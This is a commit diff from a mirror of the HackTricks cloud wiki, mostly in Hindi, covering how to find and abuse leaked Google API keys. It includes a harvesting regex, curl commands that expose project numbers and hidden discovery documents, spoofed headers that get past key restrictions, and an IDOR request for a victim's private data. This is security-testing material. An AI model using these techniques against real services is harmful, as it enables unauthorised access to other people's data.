mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-unauthenticated-e
This commit is contained in:
+101
-10
@@ -12,19 +12,19 @@ API Keys के बारे में अधिक जानकारी के
|
||||
|
||||
### OSINT techniques
|
||||
|
||||
**Google API Keys का उपयोग किसी भी प्रकार के अनुप्रयोगों द्वारा किया जाता है** जो क्लाइंट साइड से उपयोग करते हैं। इन्हें वेबसाइट के स्रोत कोड या नेटवर्क अनुरोधों में, मोबाइल अनुप्रयोगों में या Github जैसे प्लेटफार्मों पर regex खोजते समय आमतौर पर पाया जाता है।
|
||||
**Google API Keys का उपयोग किसी भी तरह के applications द्वारा व्यापक रूप से किया जाता है** जो client side से use करते हैं। इन्हें websites के source code या network requests में, mobile applications में, या बस Github जैसी platforms पर regexes खोजकर ढूँढना आम है।
|
||||
|
||||
Regex है: **`AIza[0-9A-Za-z_-]{35}`**
|
||||
regex है: **`AIza[0-9A-Za-z_-]{35}`**
|
||||
|
||||
उदाहरण के लिए इसे Github में खोजें: [https://github.com/search?q=%2FAIza%5B0-9A-Za-z\_-%5D%7B35%7D%2F\&type=code\&ref=advsearch](https://github.com/search?q=%2FAIza%5B0-9A-Za-z_-%5D%7B35%7D%2F&type=code&ref=advsearch)
|
||||
उदाहरण के लिए Github में इसे यहाँ search करें: [https://github.com/search?q=%2FAIza%5B0-9A-Za-z\_-%5D%7B35%7D%2F\&type=code\&ref=advsearch](https://github.com/search?q=%2FAIza%5B0-9A-Za-z_-%5D%7B35%7D%2F&type=code&ref=advsearch)
|
||||
|
||||
### Check origin GCP project
|
||||
|
||||
यह जांचने के लिए अत्यंत उपयोगी है कि **आपके द्वारा पाए गए API key किस GCP प्रोजेक्ट से संबंधित है**। हमारे पास विभिन्न विकल्प हैं:
|
||||
यह यह जांचने के लिए बहुत उपयोगी है कि **आपके द्वारा पाया गया API key किस GCP project से संबंधित है**। हमारे पास अलग-अलग options हैं:
|
||||
|
||||
- संपर्क करें `https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=<api-key>`
|
||||
- `https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=<api-key>` से संपर्क करें
|
||||
|
||||
संक्षिप्तता के लिए आउटपुट को संक्षिप्त किया गया था, लेकिन पूर्ण आउटपुट में प्रोजेक्ट ID 5 से अधिक बार दिखाई देता है।
|
||||
संक्षिप्तता के लिए output को truncate किया गया था, लेकिन complete output में project ID 5 से अधिक बार दिखाई देती है
|
||||
```bash
|
||||
curl -s "https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=AIzaSyD[...]uE8Y"
|
||||
|
||||
@@ -34,9 +34,9 @@ curl -s "https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectCo
|
||||
"message": "Identity Toolkit API has not been used in project 943955951114 before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/identitytoolkit.googleapis.com/overview?project=943955951114 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.",
|
||||
[...]
|
||||
```
|
||||
- संपर्क करें `https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=<api-key>`
|
||||
- संपर्क करें `https://identitytoolkit.googleapis.com/v1/projects?key=<api-key>`
|
||||
|
||||
संक्षिप्तता के लिए आउटपुट को काट दिया गया था, लेकिन पूर्ण आउटपुट में प्रोजेक्ट आईडी 5 से अधिक बार दिखाई देता है।
|
||||
संक्षिप्तता के लिए output को truncate किया गया था, लेकिन complete output में project ID 5 से अधिक बार दिखाई देता है
|
||||
```bash
|
||||
curl -s "https://identitytoolkit.googleapis.com/v1/projects?key=AIzaSyD[...]uE8Y"
|
||||
|
||||
@@ -69,8 +69,99 @@ resource: projects/89123452509
|
||||
service: cloudresourcemanager.googleapis.com
|
||||
reason: AUTH_PERMISSION_DENIED
|
||||
```
|
||||
### Brute Force API endspoints
|
||||
### Discovery-document driven API recon
|
||||
|
||||
जैसा कि आप नहीं जानते होंगे कि प्रोजेक्ट में कौन से APIs सक्षम हैं, यह दिलचस्प होगा कि आप टूल [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) चलाएं और **जांचें कि आप API कुंजी के साथ क्या एक्सेस कर सकते हैं।**
|
||||
एक वैध key मिलने के बाद, सिर्फ obvious public APIs को test न करें। Google environments में, **discovery documents** एक machine-readable attack-surface map की तरह काम कर सकते हैं, जो **resources, methods, paths, HTTP verbs, parameters, और request/response schemas** को expose करते हैं।
|
||||
|
||||
Useful targets:
|
||||
```bash
|
||||
# Public / common path
|
||||
curl -s 'https://serviceusage.googleapis.com/$discovery/rest?key=<api-key>'
|
||||
|
||||
# Hidden docs behind a visibility label
|
||||
curl -s 'https://serviceusage.googleapis.com/$discovery/rest?labels=GOOGLE_INTERNAL&key=<api-key>'
|
||||
```
|
||||
Notes:
|
||||
|
||||
- `GOOGLE_INTERNAL` जैसे labels के साथ और बिना document size और method count की तुलना करें।
|
||||
- एक **true nonexistent method** आमतौर पर **HTML 404** लौटाता है। `Method not found.` के साथ एक **JSON 404** यह संकेत दे सकता है कि method मौजूद है लेकिन **API key project में required visibility label** गायब है।
|
||||
- कुछ first-party APIs तक `*.clients6.google.com` या undocumented `*-pa.googleapis.com` hosts के जरिए public API explorer की तुलना में आसानी से पहुँचा जा सकता है।
|
||||
|
||||
यह खास तौर पर **Internet पर accidentally exposed internal/admin APIs** को enumerate करने और schema से custom fuzzers बनाने के लिए उपयोगी है, बजाय JSON fields को manually guess करने के।
|
||||
|
||||
### Key ownership filtering at scale
|
||||
|
||||
अगर आप APKs, browser traffic, IPAs या binaries से बहुत सारे Google API keys collect करते हैं, तो आप जल्दी से पहचानना चाह सकते हैं कि **कौन सा project हर key का owner है** और क्या वह target company से संबंधित है।
|
||||
|
||||
एक practical trick यह है कि उस API को intentionally call किया जाए जो key के लिए **enabled नहीं** है। Google अक्सर error में backing **project number** leak करता है:
|
||||
```bash
|
||||
curl -s 'https://protos.googleapis.com/$discovery/rest?key=<api-key>'
|
||||
```
|
||||
जैसे संदेश खोजें:
|
||||
```text
|
||||
Protos API has not been used in project 244648151629 before or it is disabled
|
||||
```
|
||||
उस project number को फिर other endpoints, leak हुई metadata, या internal company-mapping logic के साथ correlate किया जा सकता है ताकि **in-scope first-party keys** को customer / third-party projects से अलग किया जा सके।
|
||||
|
||||
### Key को discard करने से पहले key restrictions handle करें
|
||||
|
||||
एक restricted key जरूरी नहीं कि useless हो। जहाँ key मिली थी उस context को preserve करें और matching headers के साथ requests को replay करें:
|
||||
```bash
|
||||
# Browser restricted
|
||||
curl -H 'X-Goog-Api-Key: <api-key>' \
|
||||
-H 'Referer: https://target.google.com' \
|
||||
'https://servicemanagement.googleapis.com/v1/operations'
|
||||
|
||||
# iOS restricted
|
||||
curl -H 'X-Goog-Api-Key: <api-key>' \
|
||||
-H 'X-Ios-Bundle-Identifier: com.google.GoogleMobile' \
|
||||
'https://servicemanagement.clients6.google.com/v1/operations'
|
||||
|
||||
# Android restricted
|
||||
curl -H 'X-Goog-Api-Key: <api-key>' \
|
||||
-H 'X-Android-Package: com.google.android.settings.intelligence' \
|
||||
-H 'X-Android-Cert: <sha1-signing-cert>' \
|
||||
'https://servicemanagement.clients6.google.com/v1/operations'
|
||||
```
|
||||
Common restriction classes:
|
||||
|
||||
- **HTTP Referer**
|
||||
- **iOS bundle ID** (`X-Ios-Bundle-Identifier`)
|
||||
- **Android package + signing cert** (`X-Android-Package` + `X-Android-Cert`)
|
||||
- **Server IP** restrictions, which generally cannot be bypassed remotely
|
||||
|
||||
### First-party auth / origin whitelist hints
|
||||
|
||||
Some Google web APIs accept a mix of **session cookie + first-party authorization headers** and are hosted on `*.clients6.google.com`. When testing these APIs:
|
||||
|
||||
- Keep `Origin` and `Referer` compatible with the product that normally uses the API.
|
||||
- A `401` with `reason: SESSION_COOKIE_INVALID` can actually mean the **origin is not whitelisted**, not that the cookie is bad.
|
||||
- Publicly reachable APIs that only accept internal origins such as `*.corp.google.com` are high-value candidates for broken access control review.
|
||||
|
||||
### Brute force enabled APIs and fuzz documented methods
|
||||
|
||||
As you might not know which APIs are enabled in the project, it would be interesting to run the tool [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.**
|
||||
|
||||
After you identify reachable services, prefer **schema-driven fuzzing** over blind guessing:
|
||||
|
||||
- Generate requests directly from discovery docs
|
||||
- Replay the same request with **all known working keys**
|
||||
- Normalize errors so you can distinguish **invalid input** from **visibility-label / auth / restriction** failures
|
||||
- For numeric object identifiers, try nearby values such as `ID-1`, `ID+1`, `1`, `2`, `100`, `1000`
|
||||
- Only report when you confirm **cross-user data access** or another real authorization failure; plain enumeration is usually not enough by itself
|
||||
|
||||
### Common vuln pattern: unauthenticated direct-object reference
|
||||
|
||||
A recurring bug pattern is an **internal/admin API** that accepts a victim-controlled identifier (for example `gaiaId`) and only validates that the request carries a usable API key, but **never checks whether the caller is authorized to access that specific object**.
|
||||
```bash
|
||||
curl 'https://gfibervoice-pa.googleapis.com/v1/BssGetVoiceSettings?gaiaId=<victim_gaia_id>' \
|
||||
-H 'X-Goog-Api-Key: <api-key>'
|
||||
```
|
||||
यदि endpoint किसी दूसरे user का phone number, email address, settings, या अन्य private fields return करता है, तो इसे classic **IDOR / broken access control** issue के रूप में treat करें।
|
||||
|
||||
## References
|
||||
|
||||
- [Hacking Google with AI: AI-Assisted Discovery-Document Fuzzing of Google APIs](https://brutecat.com/articles/hacking-google-with-ai)
|
||||
- [Google APIs Explorer](https://developers.google.com/apis-explorer)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user